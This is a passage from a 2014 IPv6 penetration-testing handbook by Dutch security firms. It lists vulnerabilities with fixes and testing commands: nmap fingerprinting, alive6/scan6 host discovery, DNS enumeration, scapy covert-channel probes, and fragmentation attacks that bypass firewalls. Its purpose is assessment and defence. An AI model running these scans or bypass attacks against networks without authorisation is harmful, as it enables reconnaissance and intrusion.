Testing the security of IPv6 implementations

{Sander Degen, Arjen Holtzer, Borgert van der Kluit, Harm Schotanus}[T]
{Hendrik Schimmelpenninck van der Oije}[F]
{Dirk-Jan Bartels, Martijn van Ramesdonk}[I]
{Geert Jan de Groot, Frans Kollee}[M]
{Daan Keuper, Thomas Stols, Christiaan Ottow}[P]
{Gerrit van der Bij, Cristofaro Mune, Albert Spruyt}[R]

F: Fox-IT, Delft, The Netherlands (NL)
I: ITsec, Haarlem, NL
M: Madison-Gurkha, Eindhoven, NL
P: Pine Digital Security, Den Haag, NL
R: Riscure, Delft, NL
T: TNO, Delft, NL

schimmelpenninck@fox-it.com
d.bartels@itsec.nl
m.van.ramesdonk@itsec.nl
frans@madison-gurkha.com
geertjan@madison-gurkha.com

christiaan.ottow@pine.nl
daan.keuper@pine.nl
thomas.stols@pine.nl
mune@riscure.com
spruyt@riscure.com
vanderbij@riscure.com
arjen.holtzer@tno.nl
borgert.vanderkluit@tno.nl
harm.schotanus@tno.nl
sander.degen@tno.nl

March 2014

Abstract – IPv6 deployment has been steadily increasing over the past couple of years. In order to enable a safe and secure deployment of IPv6 the security impact of implementation problems requires the same attention as in IPv4. It is therefore important to be able to correctly assess if such problems are present, this is an activity that is usually performed through penetration tests. This report is meant as a starting point for IPv6 penetration tests, and provides an overview of possible weaknesses and vulnerabilities that an implementation can be tested for. For every vulnerability we provide a description of the problem, a description of the solution, and we describe how to test if the vulnerability is present. For the latter we also provide the specific tools and their parameters. These tools are all open source, and most of them are from the THC toolkit and Gont's IPv6 toolkit. Scapy, a packet generator, is also employed due to its flexibility in creating specific packets. With the information in this report, we hope to improve the quality of penetration tests and thereby reduce the threat of abuse and attacks with regard to IPv6.

Keywords – IPv6, security, vulnerability, penetration testing, local, remote, dos, firewall, functionality, covert, application, discovery, mitm

Table of Contents

1 Introduction

This report is the result of a Dutch research project, sponsored by the Ministry of Economic Affairs and executed by five companies specialised in penetration testing: Fox-IT, ITsec, Madison-Gurkha, Pine Digital Security, and Riscure, together with research institute TNO. Through this report knowledge on IPv6 security is shared between interested organisations in (among others) the telecommunications and ICT sectors.

The aim of this project is to contribute to a safe and secure introduction of IPv6 thereby reducing damages caused by security breaches. This was done by combining and sharing knowledge and expertise in this field, in order to increase the quality of IPv6 penetration tests. This practical handbook is one result of said project. It is without a doubt incomplete, but should still serve as a good starting point for anybody who wishes to test an IPv6 implementation. For those looking for information about setting up IPv6, the NIST document "Guidelines for the Secure Deployment of IPv6" is recommended.

Note that this document is targeted specifically at organisations involved in ICT security and organisations involved in the implementation and development of ICT products in general, and network equipment in particular.

The report contains a long list of IPv6 vulnerabilities. These 'vulnerabilities' can be viewed as types of product-specific vulnerabilities, e.g. 'system crashes from packet with unlimited extension headers'. These vulnerabilities are combined into a number of distinct groups. The first group is 'general security considerations', these are not always vulnerabilities but still vital background material for performing an IPv6 penetration test. The rest of the groups are: filtering vulnerabilities (related to network access control, firewalls and other filtering devices), system specific vulnerabilities (related to improper system responses to IPv6 packets), routing vulnerabilities (related to incorrect routing of packets) and of course the inevitable "Other" category for those issues that simply do not fit in anywhere else. Each vulnerability is described according to a format that explains the specific problem, how to solve it, and how to test for it. Where possible, references to documentation or related vulnerabilities are provided. For the software to test with we refer to the tools in the THC toolkit and in Gont's IPv6 toolkit, complemented by scapy and common penetration testing tools such as nmap, traceroute, tcpdump etc.

The vulnerabilities in this document can be linked to different categories; these have been identified (ordered by the number of vulnerabilities per category):

Local	– security issues that can be tested for in a local network;
Remote	– security issues that can be tested for remotely;
DoS	– security issues that can cause a denial of service;
Firewall	– security issues related to firewalls or other filtering devices;
Functionality	– security issues caused as a side effect of functional design decisions;
Covert	– security issues that can result in a covert communication channel;
Application	– security issues specifically related to applications;
Discovery	– security issues related to the discovery of systems;
MitM	– security issues that can be used for man-in-the-middle attacks.

On the following page, the mapping between vulnerabilities and the aforementioned categories is displayed. This can help with selecting the issues to test for, given a specific scope for a penetration test.

	Local	Remote	DoS	Firewall	Functionality	Covert	Application	Discovery	MitM
General security considerations									
Fingerprinting	x	x							
Host discovery	x	x						x	
Reverse DNS issues		x	x		x				
Privacy unfriendly Stateless Address Autoconfiguration (SLAAC)	x				x			x	
Session loss due to ties with IP address		x			x		x		
Stateful Address Autoconfiguration (DHCPv6) administration issues					x				
Support for deprecated / insecure IPv6 features		x	x		x				
System/service with no or bad IPv6 functionality	x	x			x				
Throttling/limiting based on single IPv6 address		x			x		x		
Filtering vulnerabilities									
Filtering device allows for covert channels	x			x		x			
Filtering device does not block incoming traffic		x		x					
Filtering device does not filter IPv6 traffic	x	x		x		x			
Filtering device does not filter IPv6 tunnels	x	x		x		x			
Filtering device does not handle overlapping fragments correctly	x	x		x		x			
Filtering device does not support some extension headers	x	x		x					
Filtering device filters too many ICMPv6 packets	x	x		x					
Network accepts rogue DHCP6 server	x		x	x					x
Network accepts rogue Duplicate Address Detection (DAD) packets	x		x	x					
Network accepts rogue ICMPv6 Redirect packets	x		x	x					x
Network accepts rogue Neighbour Discovery (ND) packets	x		x	x					
Network accepts rogue Router Advertisement (RA) packets	x		x	x					x
System specific vulnerabilities									
DoS Reflector attack through multicast destination address (Smurf attack)	x		x	x				x	
DoS Reflector attack through multicast source address	x		x	x					
System crashes from bad reassembly	x	x	x				x		
System crashes from packet with unlimited extension headers	x	x	x						
System crashes from Router Advertisement (RA) Flooding	x		x						
System DoS through SEcure Neighbor Discovery(SeNd) flood	x		x						
System's IPv6 stack is bugged	x	x	x				x		
System's ND state table exhaustion from flooding	x		x						
Routing vulnerabilities									
DoS amplification through routing loops using tunnels	x	x	x						
Routing influenced by ICMP spoofing	x		x	x					x
Switch influenced by (T)CAM exhaustion	x		x	x					
ULA traffic routed to other networks	x			x					
Unused network space not NULL-routed	x		x	x					
Other vulnerabilities									
DoS amplification through DNS response packet size		x	x						
Security vulnerability in applications	x	x					x		
Traffic from unused address space not controlled		x				x			

Table 1: The mapping between vulnerabilities and categories

2 General security considerations

This chapter contains a number of general security considerations for IPv6 – these cannot always be categorised as vulnerabilities but are still very relevant when performing an IPv6 related penetration test.

2.1 Fingerprinting

Description

Fingerprinting can be very useful during a penetration test, even though it is often not a necessity to identify the system beforehand. Typical fingerprinting relies on system specific responses from the TCP/IP stack. Most of these are based on TCP elements, which remain the same between IPv4 and IPv6. One of the IPv4 methods used is the default TTL value. The hop count in IPv6 works just the other way around and hence cannot be used anymore. On the other hand IPv6 supports a large number of new options that can be used instead, some in the IP header (such as the flow label), many in extension headers. Also the related protocols, such as ICMPv6 (e.g. neighbour discovery) or DHCPv6. Fingerprinting can also use many application layer values (such as the user agent string in HTTP).

Solutions

Some information can be hidden such as banner pages and apache version information. This is usually application specific. Also the security effectiveness is marginal. Operating system specific IPv6 behaviour, for example responding with ICMPv6 packets to a broadcast address, can manually be reconfigured.

Testing tools

nmap:

```
{pre}
Install the latest version of Nmap and perform active fingerprinting by
inspection of the network packets.

{exec}
nmap -6 -O <target> -oA <nmap outputfile>
e.g.: sudo nmap -6 -O dead::beef -oA fingerprintresults
or
nmap -6 -O -iL <file-with-targets>
e.g.: sudo nmap -6 -O -iL targetfile.txt

{test}
When finished, Nmap returns a weighted guess for the operating system.
```

sinFP3:

```
{pre}
When performing passive fingerprinting, have a pcap file available with the
raw packet dump

{exec}
passive: sinfp.pl -Pf <inputfile.pcap)
active: sinfp.pl -ai <target> -p 80

{test}
When finished, sinPF3 returns a guess.
```

References

- http://nmap.org/book/osdetect-ipv6-methods.html

- https://www.sans.org/reading-room/whitepapers/testing/os-fingerprinting-ipv6-33794
- http://www.networecon.com/tools/sinfp/
- http://patriceauffret.com/files/publications/jcv.pdf

2.2 Host discovery

Description
In IPv4 it is common to use IP address scanning to find devices in the network, by sending a packet to each IP address within the IP address range. This is basically a brute force attempt to find active hosts. The reason this works is because the address space is relatively small, typically no more than 65536 IPv4 addresses have to be tested in a /16 subnet. This can be carried out in minutes. In IPv6 however the IP address space is many times larger (2^{64} addresses in a /64 network), it is infeasible to brute force all the IPv6 addresses. Also IPv6 supports anycasting [1], which results in sharing the same IP address by many systems and network scanning would typically only find one system in this case.

Solutions
There are two scenarios - either you want to find a "hidden" system, for example one that is controlled by an attacker, or you want to find "normal" systems. Finding hidden systems is very difficult and investigating network traffic on site is the best method to do so. Finding normal systems can be easier, as the address space will probably be much smaller.

One of the reasons for this is that servers tend to be given non-dynamic, logically chosen IPv6 addresses such as ::1, ::2, or ::25 for mail and ::80 for www etc.

If addresses are generated dynamically, using the MAC address of the network card to create a EUI-64 address, the number of possible IPv6 addresses decreases. A MAC address contains 48 bits, the first 24 indicate the manufacturer and the last 24 are a unique identifier. The 7^{th} bit indicates if it is a manually modified MAC address and the 8^{th} one is used to distinguish between unicast and multicast. Normally these are 0 resulting in 46 bits randomness. If the manufacturer of the network interface cards is known, the search space decreases even further to 24 bits.

A static method of converting IPv4 addresses to IPv6 addresses can be done by using the IPv4 address as the least significant bytes in the IPv6 one, e.g. 2001:db8::192.0.2.1/64 → 2001:db8::c000:201. This is often used in situations where systems (such as provisioning/billing systems) are not IPv6 aware. Having a fixed mapping makes translation easier (see [2]). Lastly, specific targets often have DNS records, a number of DNS based tools can find these records and their corresponding IP addresses (see below)

The user can use multicast i.e. send a packet to the "all hosts multicast" address. Certain systems, including some IPS/IDSes, can also be detected by sending an ICMPv6 Echo Request to a multicast address and listening for Echo Replies. This can be done with thcping ("sudo ./thcping6 eth0 ff02::1").

In some cases, it may help to draw network traffic towards a test system, in order to monitor data flows and identify active systems. The vulnerabilities in the MitM category can help in that regard. For penetration tests, it would make more sense to monitor traffic on routers as this is usually less invasive.

Even though finding an IPv6 host can be quite difficult, it is ill-advised to use this as an argument to not properly secure a system.

Testing tools

scan6:

```
{desc}
This tool can scan a network for devices that used SLAAC to generate an IP
address, based on their MAC-address.

{exec}
Scan6 –i <interface> -d <destination IP> -K <NIC vendor>
e.g.: scan6 –i eth0 -d fc00::/64 -K 'Dell Inc'
# Use –v for verbose mode.

{test}
Output shows the IPv6 addresses of devices that were found active.
```

alive6:

```
{exec}
alive6 -s 1 <interface> <subnet>
e.g.: sudo alive6 -s 1 eth0 2620:0:1cfe:face:b00c::0-ffff
(-s 1 means a ping scan, -s 64 is a SYN to port 80)

{test}
Output of alive6 shows the IPv6 addresses of devices that were found
active.
```

nmap:

```
{pre}
Get a list of IPv6 addresses that are likely in use - for example through
combinations of Google, the RIPE database, Netcraft.com, Hurricane
Electric, DNS (dig <target> AAAA +short) (see also below) and common
addresses (::1 ::2 ::3 ::100 ::200 ::A ::B etc.). Save these IP addresses
in a file.

{exec}
nmap -6 -iL <input file>
e.g.: nmap -6 -iL inputlist.txt
The input file is needed because nmap can only scan 1 IPv6 address at a
time.

{test}
Output of nmap shows the IPv6 addresses of devices that were found active.
```

Finding DNS records

dnsrevenum6:

```
{exec}
dnsrevenum6 <DNSSERVER> <NET/PREFIX>
e.g.: sudo dnsrevenum6 2001:470:1f13:e90::53 2001:DB8::335B

{test}
Check results for active IPv6 devices
```

dnssecwalk:

```
{exec}
dnssecwalk <DNSSERVER> <DOMAIN>
e.g.: sudo dnssecwalk 2001:470:1f13:e90::53 google.com

{test}
Check results for active IPv6 devices
```

```
dnsdict6:
{pre}
Create or find a dictionary file containing words to test as subdomains. If
left empty, a built-in list will be used.

{exec}
dnsdict6 -d -m -t <threads> -D <domain> <dictionary-file.txt>
e.g.: sudo dnsdict6 -d -m -t 4 -D acme.com wordlist
```

References
See also: Fingerprinting

2.3 Reverse DNS issues

Description
Reverse DNS is a method to translate an IP address to a hostname. While the majority of DNS lookups are 'normal' (i.e. translate a hostname to an IP address) these reverse lookups still play a role in the correct workings of the internet. Examples of this are:

- Logging both the IP and the hostname (for logins or other events)
- Showing extra information (think of ping, traceroute, tcpdump)
- Matching filter rules based on (wildcarded) hostnames
- Verifying the identity of a mail server (mail from a mail server that does not have a PTR record is often marked as spam)

With IPv4, assigning PTR records to IP addresses (e.g. 77.169.95.18 ↔ ip4da95f12.direct-adsl.nl) is manageable since the number of customer assigned IP addresses is limited.

In IPv6 this is different, as customers typically get a whole range of IP addresses. Using wildcards in ip6.arpa is not a valid solution. Automatically enumerated zones are not an answer because of resulting size of the zone file and its accompanied performance issues. For verification purposes both the forward and reverse DNS entries must match, which also disqualifies enumerated zones. Dynamically generated IP addresses increase the complexity even more.

Solutions
There should be a policy that allows a customer to request a specific reverse DNS entry for an IPv6 address from an Internet Service Provider (ISP). This can be realised through a web portal which offers this functionality.

A more advanced solution would require a new protocol that allows for reverse DNS updates, and which can be integrated into network management software.

Testing tools

```
{desc}
Dig can be used to resolve IP addresses from hostnames and vice versa. In
this test we will use dig to request the hostname based on the IP address.

{exec}
dig -x <IPv6 address>
```

```
{test}
Check whether dig comes up with a result.
```

2.4 Privacy unfriendly Stateless Address Autoconfiguration (SLAAC)

Description

Many operation systems use the MAC address of the network interface card to create a EUI-64 address for user devices when using Stateless Address Autoconfiguration (SLAAC). This EUI-64 address is then is used to assign a IPv6 network address. There are two problems with this EUI-64 address:

1. It is possible to follow people over the internet, as the host part of the IPv6 address will most often remain the same even if the host moves to a different network.
2. It is possible to obtain the vendor of the network interface card by simply using the MAC vendor list.

Solutions

Use privacy extensions to generate random host identifiers, which are specifically designed to circumvent this issue.

Testing tools

```
{pre}
Use the methods under 'Host discovery' to find active IPv6 addresses.

{test}
Compare the machine(s) MAC-address with the found IPv6 addresses, if the
MAC-address is used in the last 64 bits you know SLAAC without the random
option is used (where the 7th most significant bit is inverted).

Alternatively, the IPv6 formed from a MAC address will contain the value
0xFFFE in the middle of the host identifier part of the IPv6 address.
```

References

- http://packetlife.net/blog/2008/aug/4/eui-64-ipv6/
- RFC 2373: 'IPv6 Addressing Architecture'
- IPv6 and privacy

2.5 Session loss due to ties with IP address

Description

It is currently common practice to link user sessions to the IP address of the user. However with IPv6, the user will not have a very fixed IP address related to a session, e.g. because of privacy extensions (RFC 4941), Mobile IPv6 (RFC 6275), or the happy eyeballs protocol (RFC 6555). If a session is linked to the source IP address, changing IP addresses would cause a loss of the session.

Solutions

Avoid the use of IP address based session identification.

Testing tools

```
{pre}
Log in on the application.
```

```
{exec}
Manually switch to the other address family: IPv6 -> IPv4 or otherwise

{test}
Verify that the application session is still valid.

{post}
No need to undo as the test is non-obtrusive. Switch back to the other
address family if desired, but this is not required.
```

References

- Throttling/limiting based on single IPv6 address
- RFC6555: 'Happy Eyeballs: Success with Dual-Stack Hosts'

2.6 Stateful Address Autoconfiguration (DHCPv6) administration issues

Description

Administering Stateful Address Autoconfiguration (DHCPv6) can be difficult, as DHCPv6 is not based on the MAC-address but on an opaque object called DUID (DHCP Unique IDentifier). For DUID, all we know is that it is the same on all interfaces of the same host and that its value is unpredictable. In some cases, there may be a relation to the MAC-address of the host, but that is by no means guaranteed.

This leaves system administrators with the additional burden of having to administer these DUID values when trying to administer fixed IP addresses for hosts. This should be taken into account in deployment plans, provisioning procedures, etc. Even obtaining the DUID value may prove difficult. RFC 6939: 'Client Link-Layer Address Option in DHCPv6' is not universally implemented. When it is not possible to correlate an IP address to a system, handling abuse effectively can be a problem.

Solutions

Evaluate whether a fixed, predictable IP address is required in the network design (for instance, because different access policies exist on the same subnet). DNS Dynamic Updates may provide a solution but, for instance, do not help with firewall rule updates. For ISC DHCPD in IPv6 mode, including the following snippet in the configuration file may be useful:

```
# Log leases (with client-id) to daemon.info
# to get dhcp6.client-id values for static host declarations
# Original idea:
#  http://blog.42.be/2013/04/dhcpv6-isc-mac-logging-and-cisco-relay.html
option dhcp6.leased-address code 65531 = string;
option dhcp6.id code 65532 = string;
option dhcp6.leased-address = binary-to-ascii(16, 16, ":",
substring(suffix(option dhcp6.ia-na, 24), 0, 16));
option dhcp6.id = binary-to-ascii(16, 8, ":", option dhcp6.client-id);
log (info, concat ("Lease for ", config-option dhcp6.leased-address, "
leased to ID ", config-option dhcp6.id));
```

Testing tools

This cannot really be tested for during a penetration test, but instead should be investigated in design reviews, procedures, etc.

References

- RFC 3315: ‘Dynamic Host Configuration Protocol for IPv6’
- RFC 6939: ‘Client Link-Layer Address Option in DHCPv6’

2.7 Support for deprecated / insecure IPv6 features

Description

IPv6 has seen a lot of development before deployment actually occurred on a large scale. Many features have been proposed, added, removed, and/or changed in the IPv6 protocol or its implementations. Some features have become deprecated or even historic, yet may still be present in implementations. They can have specific vulnerabilities or create security weaknesses in a network if they are enabled.

Some of these deprecated and historic features are:

- Site local addressing - RFC 3879
- Source routing type 0 (RH0) - RFC 5095
- DNS: A6 Records - RFC 6563

Note: Source routing is required in RFC 6554: ‘An IPv6 Routing Header for Source Routes with the Routing Protocol for Low-Power and Lossy Networks (RPL)’ and in Mobile IPv6 (RH2), which are different forms of source routing.

Solutions

If a protocol or feature is deprecated, one should apply a combination of the following solutions:

- Remove deprecated and historic IPv6 features from implementations
- Disable deprecated and historic IPv6 features in configurations
- Filter the options out firewalls, switches as applicable.
- Remove or block the functionality at the affected systems
- Filter the functionality at intermediate devices

Testing tools

```
(Site Local Addressing) tcpdump:
{desc}
Tcpdump can be used to monitor all network traffic, including local
addresses. Optionally a multicast message can be sent to try and generate
network traffic – see DoS Reflector attack through multicast source
address.

{exec}
sudo tcpdump ip6 host fec0::/10

{test}
tcpdump should not detect any traffic. (if it does, Local addresses are
used)

(Source routing 0 (RH0)) ipv6-test.py:
{desc}
The python script ipv6-test.py can be used to test multiple IPv6 security
features. In this test, RH0 packets will be send via the device, to test if
the header is ignored (as should be).

{exec}
Start the python script (sudo ./ipv6-test.py) and choose option 2
enter the required address information
```

```
{test}
Check whether the created packets are dropped by the device.
```

```
(A6 records) dig:
{desc}
Dig can be used to resolve IP addresses from hostnames and vice versa.
In this test we will use dig to request the A6 field of the DNS records

{exec}
dig <domain> A6

{test}
Check if there is any A6 value in the domain name. If there is, the domain
is vulnerable to this attack.
```

2.8 System/service with no or bad IPv6 functionality

Description

On dual-stack servers such as webservers, IPv6 connectivity that is not functioning correctly may go unnoticed. This may be caused by many different issues, such as:

1. DNS records incorrect or missing (wrong AAAA)
2. No IPv6 address configured on server, or no default gateway set
3. HTTP server does not listen on inet6 address
4. Proxy or load balancer does not support IPv6

These problems are sometimes masked by happy eyeballs.

Solutions

The primary solution is to properly configure IPv6 for all devices in the network. Specifically the following should be done:

- Add correct AAAA DNS Records if they are missing and remove faulty AAAA records
- Configure IPv6 on the servers correctly
- Enable the webserver to listen on IPv6 on the applicable interfaces, for both HTTP and HTTPS.
- Enable IPv6 on load balancers and proxies.

Testing tools

Explicitly test access and service functionality:

```
{pre}
Disable IPv4 access on system used for testing

{exec}
Test access to the service or system and correct functionality of the
service

{test}
Check if observed functionality matches the expected functionality

{post}
Optionally re-enable IPv4 on testing system
```

References

- See also: Security vulnerability in applications
- See also: Filtering device does not filter IPv6 traffic

2.9 Throttling/limiting based on single IPv6 address

Description

It is common practice to link application level mechanisms to the IP address of the user, such as anti-automation (CAPTCHA's), forum bans. However with IPv6, the user will not have a fixed IP address, e.g. because of privacy extensions, mobile IP, or the happy eyeballs protocol, and an attacker is likely to have a large address space available which renders this method obsolete. Also, there is no single prefix size that can universally be taken to identify a single user: some end-users receive a /48 prefix while other users share a /64 prefix.

Solutions

Currently there is no solution; a new approach to limiting automated attacks needs to be taken.

Testing tools

Black box:

```
{pre}
Identify the areas where throttling/limiting may take place (logins,
searches, posting messages)

{exec}
Try to trigger throttling or limiting, either manually (multiple search
queries in a short time), through scripts (automated login attempts in a
website) or dedicated brute-forcing tools.

{test}
If throttling or limiting occurs, check if different IP addresses in the
same subnet are also affected, if not then address-specific limiting is
active.
```

White box:

```
{pre}
Identify the areas where throttling or limiting may take place (logins,
searches, posting messages, blocking and banning of users)

{exec}
Do a code review.

{test}
Investigate if IPv6 addresses are banned or throttled. Search for keywords
such as: 'ban', 'banned', 'blocked', 'denied' and 'throttle'.
```

References

- See also: Session loss due to ties with IP address

3 Filtering vulnerabilities

3.1 Filtering device allows for covert channels

Description

A **covert channel** is a capability to transfer information objects between processes that are not supposed to be allowed to communicate by the computer security policy. There are many forms of covert channels possible, some can be created using specific IPv6 functionality. These may for example be used as command and control channels by APTs and botnets. Some specific IPv6 are

1. Unknown extension headers. Data can be stored in extension headers to traverse firewalls unnoticed. See 'Filtering device does not support some extension headers'.
2. Extra data after extension headers. The value 59 in the Next Header field of an IPv6 header or any extension header indicates that there is nothing following that header. If the Payload Length field of the IPv6 header indicates the presence of octets past the end of a header whose Next Header field contains 59, those octets must be ignored, and passed on unchanged if the packet is forwarded.
3. Using IPv6 header fields to carry data. The flow label and type of service fields in the IPv6 header are typically not used and often ignored by firewalls and copied by VPNs.
4. IPv6 address parts. There are a lot of unused IPv6 addresses in a network. A subset of the IPv6 address can be used as a covert channel without interfering with the reachability.

Solutions

Typically covert channels and covert channel abuses are difficult to find and protect against. Filtering rules and packet normalisation may help in general. Specific covert channels usually require case-specific solutions.

Testing tools

```
Scapy / network sniffer:
{desc}
Scapy is a packet manipulation tool and allows crafting of specific
packets.

{pre}
Set up the testing environment by placing the filtering device (DUT)
between a sending host and an end host. The sending host should be equipped
with scapy, and the end host with a network sniffer. The sender and the
receiver should be placed on networks hosted on different DUT interfaces.
Information on forging and sending IPv6 packets with scapy can be found
here: scapy-IPv6

{exec}
For every covert channel scenario use scapy for forging IPv6 packets
carrying known identifiers in the related field (e.g.: Extension headers,
IPv6 header/address,...). The forged packet should have destination address
of the receiving host. Start the network sniffer on the receiving host.
Send the packets by using internal scapy functions.

{test}
Check on the network sniffer if the forged packets have been received by
the end-host, or if they have been discarded by the DUT. Verify firewall
logs if there is any packet related information.
```

3.2 Filtering device does not block incoming traffic

Description

Network address translations (NAT) is often used as a poor man's firewall (with only limited protection) in IPv4, especially for SOHO and home networks. IPv6 however does not support NAT and hence network boundary devices including CPE's require a real firewall implementation instead.

Solutions

Enable a firewall on the network boundary devices if possible, otherwise add firewalls to the network boundary. Enable host protection. Note that many NAT implementations based on Linux use iptables, which also supports firewall functionality.

Testing tools

nmap:

```
{desc}
Nmap can be used to try and (port) scan a system that is behind a firewall.

{exec}
nmap -6 -St -p <portnumber> <IP address>
e.g.: nmap -6 -sT -p1-65535 fe80::ba27:ebff:fe16:39c%eth0
(the interface specification (%eth0) is needed for link local addresses)

{test}
If filtering is done well, all ports should be 'filtered'. If all are
'closed', even though some ports are actually open on the tested system,
the firewall is set to REJECT instead of DROP. It is a best practice to use
DROP. When some ports are closed and some filtered, or ports are open, this
is a sign that the firewall does not filter (all) traffic. A manual review
should check if the ports that are seen as closed or open ports should be
filtered.
```

References

- RFC 4864: 'Local Network Protection for IPv6'

3.3 Filtering device does not filter IPv6 traffic

Description

The network has configured IPv4 but IPv6 connectivity is also available but not managed. Many ISPs are or will be supporting IPv6 in the future, for both corporate users and home users. Alternatively there are features such as Teredo that automatically create an IPv6 tunnel when no IPv6 connectivity is present. In these cases, IPv6 may be used for traversing firewalls and other security devices unnoticed. Hence, there are no protection mechanisms in place for IPv6. This may open the window for many attacks using IPv6.

Solutions

Install IPv6 protection mechanisms and manage the IPv6 network. As a workaround it is possible to filter all IPv6 traffic.

Testing tools

nmap:

```
{pre}
```

Nmap can be used to see if ports are filtered on the remote host. Filtered ports normally do not respond to SYN requests.

SYN ACK replies are evidence of non-existing filtering. RST replies are also an indication of non-existing filtering, but in some cases could be sent by a firewall.

{exec}
sudo ./nmap --reason -e <interface> -6 <target>
e.g.: sudo ./nmap --reason -e eth0 2001:DB8::335B:5EF:14

{test}
Check the response of systems in nmap results. Nmap will explain why certain ports show up as filtered or closed (i.e. no response or a RST was received) because of the --reason flag.

3.4 Filtering device does not filter IPv6 tunnels

Description

The use of tunnels e.g. Teredo, ISATAP, 6 over 4, 4 over 6) can bypass firewall and other protection mechanisms, especially if these mechanisms do not support IPv6 at all or the tunnels are hidden. Hence, this will lead to a more or less unmanaged and insecure IPv6 connection. This may open the window for many IPv6 based attacks.

Note: Tunnelling is a very general mechanism to bypass security measures, including HTTP tunnelling, DNS tunnelling, SSH tunnelling, etc., regardless of the IP protocol version. IPv6 tunnels just add to the heap of possible tunnelling mechanisms.

Solutions

Generally, block Teredo and other automatic tunnelling protocols. Block IPv6 tunnelling if tunnelling is not necessary. If IPv6 tunnelling is necessary, allow it only to specific hosts, both internal and external.

Testing tools

Attempt to set up tunnel:

{pre}
Set up the testing environment by placing the filtering device (DUT) between a sending host and an end host. The sending host should try to set up an IPv6 tunnel (or simulate this with a scapy profile), and the end host with a network sniffer. The sender and the receiver should be placed on networks hosted on different DUT interfaces. Information on forging and sending IPv6 packets with scapy can be found here.

{exec}
Use scapy for forging IPv6 packets that simulate IPv6 tunnels. The forged packet should have destination address of the receiving host. Start the network sniffer on the receiving host. Send the packets using internal scapy functions. Alternatively, actually try to set up IPv6 tunnels. E.g. Gogo6client, Sixxs, aiccu.

See also Wikipedia's list of IPv6 tunnel brokers

{test}
Check on the network sniffer if the forged packets or the tunnel packets have been received by the end host, or if they have been discarded by the DUT. Verify firewall logs if there is any packet related information.

References

- RFC7123: 'Security Implications of IPv6 on IPv4 Networks'
- See also: Filtering device does not filter IPv6 traffic

3.5 Filtering device does not handle overlapping fragments correctly

Description

This attack describes how a firewall can be bypassed using overlapping fragments. The attacker sends a sufficiently large IPv6 packet that needs to be fragmented. The packet will be split up into several fragments by the sender so that the packets can fit inside the path MTU. The TCP header has the following values of the flags: S(YN)=1 and A(CK)=1. This may make an inspecting stateful firewall think that it is a response packet for a connection request initiated from the trusted side of the firewall. Hence, it will allow the fragment to pass. It will also allow the following fragments with the same Fragment Identification value in the fragment header to pass through. A attacker can form a second fragment – belonging to the first – with a TCP header whose flags are S(YN)=1 and A(CK)=0. The firewall may treat this packet similarly to the first packet. On the receiving end, the first packet will be ignored while the second one will be interpreted as a connection request. By doing this, the attacker has bypassed the firewall's access control to initiate a connection request to a host protected by a firewall.

Solutions

Implement RFC 5722: 'Handling of Overlapping IPv6 Fragments' and RFC 6946: 'Processing of IPv6 "Atomic" Fragments'.

Testing tools

```
fragmentation6:
{desc}
This tool performs a set of fragmentation attacks against a firewall and
also checks for implementation.

{pre}
Set up a system before and after the DUT. Send packets from one system
towards the other, and use that one to check for incoming packets.

{exec}
sudo fragmentation6 -fp -n <number of tries> <interface> <destination>

{test}
Check if the firewall could be bypassed with an fragmentation attack. This
can be done by performing an attack at the "front" of the firewall and
listen on the backside if the packets will pass through.

{post}
Identify which type of fragmentation will bypass the firewall.

frag6:
{desc}
This is a tool to perform IPv6 fragmentation-based attacks and to perform a
security assessment of a number of fragmentation-related aspects.

{pre}
Set up a system before and after the DUT. Send packets from one system
towards the other, and use that one to check for incoming packets.
```

```
{exec}
sudo frag6 -i interface -d dst_addr <-S link_src_addr> <-D link-dst-addr>
<-s src_addr</len>> <-A hop_limit> <-u dst_opt_hdr_size> <-U
dst_opt_u_hdr_size> <-H hbh_opt_hdr_size> <-P frag_size> <-O frag_type> <-o
frag_offset> <-I frag_id> <-T> <-n> <-p | -W | -X | -F N_frags>
<-l> <-z seconds> <-v> <-h>

{test}
Check if the firewall could be bypassed with an fragmentation attack. This
can be done by performing an attack at the "front" of the firewall and
listen on the other side if the packets will pass through.

{post}
Identify which type of fragmentation will bypass the firewall.
```

3.6 Filtering device does not support some extension headers

Description

IPv6 has introduced a new way to extend its functionality, called extension headers. The use of extension headers can affect the handling of packets by both routers (only hop-by-hop-headers) and end nodes. To make proper security decisions, security software, such as firewalls and Intrusion Preventions Systems have to know the effect each extension header has on the packet. If they do not know the effect of an extension header, or when extension headers are hidden by other extension headers (e.g. IPsec ESP), the security software cannot make proper security decisions.

Also, dropping packets with unknown extension headers is typically not an option for intermediate nodes, with the exception of hop-by-hop headers, as this may break functionality. For end nodes that do not recognise a specific extension header, the packet should be discarded and an Parameter Problem message ICMP error message should be returned as described in RFC 2460: 'IPv6 Specification'.

Solutions

In certain cases security devices can be configured to drop packets with unknown extension headers, if this will not interfere with required functionality. This may be applied on a per host basis, exempting specific hosts to pass through unknown extension headers. Alternatively the use of unknown extension headers may yield a warning in the log for further inspection.

Testing tools

scapy / network sniffer:

```
{desc}
Scapy is a packet manipulation tool and allows crafting of specific
packets.

{pre}
Set up the testing environment by placing the filtering device (DUT)
between a sending host and an end host. The sending host should be equipped
with scapy, and the end-host with a network sniffer. The sender and the
recipient should be placed on networks hosted on different DUT interfaces.
Information on forging and sending IPv6 packets with scapy can be found
here: scapy-IPv6. A tutorial how to test extension header can be found at:
Extension header test with scapy

{exec}
```

```
Use scapy for forging IPv6 packets with the desired extension header.
Consider also fuzzing for extension header generation. The forged packet
should have destination address of the receiving host. Start the network
sniffer on the receiving host. Send the packets by using internal scapy
functions.

{test}
Check on the network sniffer if the forged packets have been received by
the end host, or if they have been discarded by the DUT. Verify firewall
logs if there is any packet related information.
```

3.7 Filtering device filters too many ICMPv6 packets

Description

IPv6 requires ICMP to work properly, e.g. for PMTU discovery. However, in IPv4 ICMP is typically filtered. As a result of ICMPv6 filtering, connections that complete the TCP three-way handshake correctly hang when data is transferred. This state is referred to as a black hole connection. PMTU black-holes are currently rife, as:

- server may be blocked to receive them
- client may be blocked to send them

Solutions

Enable specific ICMPv6 messages in filtering devices, including ICMP error messages, at least ICMPv6 Packet Too Big (Type 2), see also RFC 4890: 'Recommendations for Filtering ICMPv6 Messages in Firewalls'. As a workaround TCP maximum segment size (MSS) clamping can be used.

Testing tools

Ingress (from client to server)

```
{pre}
Make connection to network that provides native IPv6 connectivity (i.e.
MTU=1500 path) to application to be tested.

{exec}
Send a large request, the size of which is at least 1500 bytes. Verify that
at least one full-size packet is sent.

{test}
Verify that the application received the response.
```

Egress (from server to client)

```
{pre}
Connect using a router you have administrator access to. Make a connection
